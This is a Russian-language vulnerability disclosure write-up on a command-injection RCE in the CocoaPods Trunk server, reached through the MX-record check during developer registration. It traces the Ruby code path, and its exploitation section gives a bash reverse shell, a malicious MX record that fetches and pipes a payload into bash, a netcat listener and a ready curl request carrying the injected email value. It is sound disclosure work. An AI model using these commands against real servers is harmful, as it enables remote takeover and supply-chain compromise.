CocoaPods-RCE

Этот репозиторий содержит более глубокое погружение в процесс исследования и размышления, стоящие за уязвимостью RCE, обнаруженной в ходе исследования и взлома CocoaPods Package Manager.

Пост с публикацией исследования можно прочитать здесь: https://www.evasec.io/blog/eva-discovered-supply-chain-vulnerabities-in-cocoapods

Предыстория исследования

Trunk-сервер CocoaPods служит централизованным репозиторием и платформой распространения для CocoaPods — важных библиотек и фреймворков, используемых в экосистеме Apple, особенно при разработке для iOS и macOS. Его основная цель — обеспечить бесперебойный обмен этими ресурсами с открытым исходным кодом и управление ими.

Процесс регистрации разработчика на Trunk-сервере CocoaPods состоит из следующих шагов, призванных обеспечить безопасность платформы:

• Разработчики сначала указывают свою электронную почту, имя и описание аккаунта.
• Затем сервер проверяет уникальность адреса электронной почты и проверяет, соответствует ли он правильному формату согласно стандарту RFC822 (с использованием регулярных выражений).
• Проверка Mail Exchanger (MX) записей домена адреса электронной почты для подтверждения действительности почты.
• Если всё в порядке, создаётся аккаунт разработчика, позволяющий ему получить доступ к Trunk-серверу и управлять принадлежащими ему пакетами CocoaPod.

Протестированные версии

Последний релиз trunk.cocoapods.org (ветка master) был протестирован и проверен в производственной среде на момент проведения исследования. Уязвимость с тех пор была исправлена и больше не эксплуатируется.

Корневая причина

Корневая причина уязвимости — недостаточная проверка этапа валидации домена адреса электронной почты (в процессе регистрации разработчика) и небезопасное выполнение команд. В частности, злоумышленник может манипулировать входными данными таким образом, чтобы обойти проверку Mail Exchanger (MX) записей домена, что приводит к возможности внедрения и выполнения произвольных команд ОС на Trunk-сервере.
Это представляет серьёзную угрозу безопасности платформы, поскольку позволяет неавторизованным лицам потенциально скомпрометировать целостность сервера, конфиденциальность хранящихся данных и нарушить его работу.

Поток кода

APP/CONTROLLERS/APP_CONTROLLER.RB

Файл App Controller определяет конечные точки API Trunk-сервера, включая SessionsContoller, обслуживаемый по пути /api/v1/sessions.

APP/CONTROLLERS/API/SESSIONS_CONTROLLER.RB

Чтобы сгенерировать новую сессию, файл Session Controller обслуживает конечную точку HTTP POST API — /api/v1/sessions.

Конечная точка обрабатывает предоставленные пользователем данные регистрации, включая параметры "email", "name" и "description". Затем она вызывает метод Owner.find_or_initialize_by_email_and_name.

Вызов функции включает значения параметров "email" и "name".

APP/MODELS/OWNER.RB

Файл Owner Model определяет метод find_or_initialize_by_email_and_name, который проверяет, существует ли предоставленный email. Если нет, он создаёт новый объект Owner, используя вышеупомянутые параметры.

Как только объект создан и до его сохранения в базе данных, фреймворк Sequel выполнит метод validate. Этот метод включает множество проверок, находящихся в пакете RFC-822.

Мы сосредоточились на выполнении метода validates_mx_record, который использует пакет RFC-822.

RFC-822/LIB/RFC822.RB

Библиотека реализует метод mx_records для проверки того, является ли предоставленный домен действительным. Кроме того, она реализует проверку отклика MX-записей с помощью команды host.

Метод сначала сравнивает весь адрес электронной почты с заданным регулярным выражением email — проверяет, соответствует ли предоставленный email шаблону. Если шаблон не совпадает, метод вернёт пустое значение и не перейдёт к активным проверкам через команду host.

Затем метод mx_records вызывает метод raw_mx_records, который обрабатывает значение email — извлекает только часть домена (всё после последнего символа «@») и вызывает метод host_mx, используя извлечённый домен в качестве значения своего параметра.

Метод host_mx выполняет произвольную команду ОС, конкатенируя её с доменом из предоставленного пользователем email. Итоговая выполненная команда выглядит следующим образом:
/usr/bin/env host -t MX <DOMAIN>

Эксплуатация

ПРЕПЯТСТВИЕ

Чтобы начать эксплуатацию уязвимости, мы отправили HTTP POST запрос на конечную точку API /api/v1/sessions. В теле запроса мы передали модифицированные входные данные.

Основной целью было запустить процесс проверки MX-записей, который в конечном счёте привёл бы к оценке и выполнению наших вредоносных пользовательских данных, что позволило бы выполнить команды ОС на Trunk-сервере.

Чтобы достичь нашей цели и установить полностью интерактивный reverse shell, нам пришлось преодолеть определённые сложности:

• Преобразование в нижний регистр: Первая сложность была связана с тем фактом, что предоставленный пользователем адрес электронной почты преобразуется в нижний регистр с помощью метода owner.rb/normalize_email. В результате такой простой пейлоад, как reef<span>@evasec.io|curl{IFS}evasec.io, был бы неэффективен, поскольку сервер обработал бы его в нижнем регистре.
  Примечание: IFS был бы преобразован в ifs и не использовался бы в качестве разделителя.
• Проверка регулярным выражением: Функции библиотеки RFC822 содержат проверку с использованием заданного регулярного выражения. Эта проверка представляла собой значительное препятствие, поскольку такой пейлоад, как reef<span>@evasec.io|{curl,evasec.io}, не сработал бы из-за наличия следующих символов, которые библиотека устраняла:
  • " " (пробел)
  • "
  • ()
  • .
  • ,
  • <>
  • @
  • []

ПРОРЫВ

Чтобы завершить нашу миссию, нам нужно было преодолеть стену, с которой мы столкнулись.
Мы обнаружили, что команда /usr/bin/env host -t MX <DOMAIN> выдаёт выходные данные, которыми мы можем управлять, что позволяет обойти эти сложности.
Эти выходные данные можно было использовать, передав их в bash-команду, что создало возможность для выполнения кода.
Например:

/usr/bin/env host -t MX <DOMAIN> | bash

Мы модифицировали MX-запись на нашем домене, управляемом через Route53 в AWS. MX-запись содержит следующую валидную строку:

10 a||{curl, -s,http://serve.evasecresearch.com/payload.txt}|bash||.com

Цель: Созданный пейлоад должен был быть выполнен во время проверки домена через команду host.

ВЫСОКОУРОВНЕВОЕ ОБЪЯСНЕНИЕ ЭКСПЛУАТА

Чтобы инициировать удалённое выполнение кода, мы вызвали конечную точку API POST /api/v1/sessions со следующим пейлоадом:
anything<span>@owned.domain|bash
Где домен "owned.domain" представляет собой вредоносную MX-запись, созданную так, как описано выше.

ШАГИ ДЛЯ ВОСПРОИЗВЕДЕНИЯ

1. Подготовьте сервер с пейлоадом: Настройте веб-сервер для раздачи файла payload.txt, содержащего код для выполнения на Trunk-сервере.

   • Например:
     sh -i >& /dev/tcp/SERVER/1337 0>&1

2. Создайте вредоносную MX-запись: Создайте новую MX-запись, содержащую пейлоад, предназначенный для загрузки подготовленного пейлоада из шага 1 и его выполнения.

   • Например:
     10 a||{curl, -s,http://WEB_SERVER/payload.txt}|bash||.com

3. Настройте слушатель reverse shell: Запустите слушатель reverse shell, например netcat (nc), на публично доступном порту.

   • Например:
     nc -lvp 1337

4. Выполните reverse shell: Отправьте HTTP-запрос для запуска reverse shell, что можно сделать с помощью команды curl.

   • curl -X $'POST' -H $'Host: trunk.cocoapods.org' -H $'Content-Type: application/json; charset=utf-8' -H $'User-Agent: CocoaPods/1.12.1' --data-binary $'{\"email\":\"name@MX_RECORD_DOMAIN|bash\",\"name\":\"Your Name\",\"description\":null}' $'https://trunk.cocoapods.org/api/v1/sessions'

ВЫПОЛНЕНИЕ

ПОЛНОЕ ВИДЕО ЭКСПЛУАТАЦИИ

Влияние успешной эксплуатации

В ходе нашего исследования мы выявили критическую уязвимость безопасности в Trunk-сервере CocoaPods, которая позволяет выполнять произвольные команды операционной системы (полностью интерактивное удалённое выполнение кода).

Если неавторизованный злоумышленник скомпрометирует сервер, он/она сможет потенциально внедрить вредоносный код в широко используемые библиотеки. Это может привести к серьёзным уязвимостям безопасности в бесчисленных приложениях для iOS и macOS, которые полагаются на эти скомпрометированные CocoaPods.

Кроме того, злоумышленник может манипулировать спецификациями pod-ов, нарушать распространение легитимных библиотек или вызывать массовые сбои в экосистеме CocoaPods.